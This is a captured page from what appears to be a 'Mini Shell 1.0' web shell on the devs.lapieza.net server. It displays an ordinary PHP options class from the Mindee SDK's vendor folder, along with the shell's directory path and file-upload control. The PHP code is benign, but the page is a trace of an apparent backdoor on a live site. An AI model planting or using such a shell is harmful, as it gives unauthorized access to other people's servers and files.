HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /var/www/devs.lapieza.net/vendor/mindee/mindee/src/Input/
Upload File :
Current File : /var/www/devs.lapieza.net/vendor/mindee/mindee/src/Input/CommonOptions.php
<?php

namespace Mindee\Input;

/**
 * Common base for regular prediction options and workflow options.
 */
abstract class CommonOptions
{
    /**
     * @var boolean Whether to include the full OCR text response in compatible APIs.
     * This performs a full OCR operation on the server and will increase response time.
     */
    public bool $fullText;


    /**
     * Prediction options.
     * @param boolean $fullText Whether to include the full OCR text response in compatible APIs.
     *  This performs a full OCR operation on the server and will increase response time.
     */
    public function __construct(bool $fullText = false)
    {
        $this->fullText = $fullText;
    }

    /**
     * @param boolean $fullText Whether to include the full text.
     * @return $this
     */
    public function setFullText(bool $fullText): PredictOptions
    {
        $this->fullText = $fullText;
        return $this;
    }
}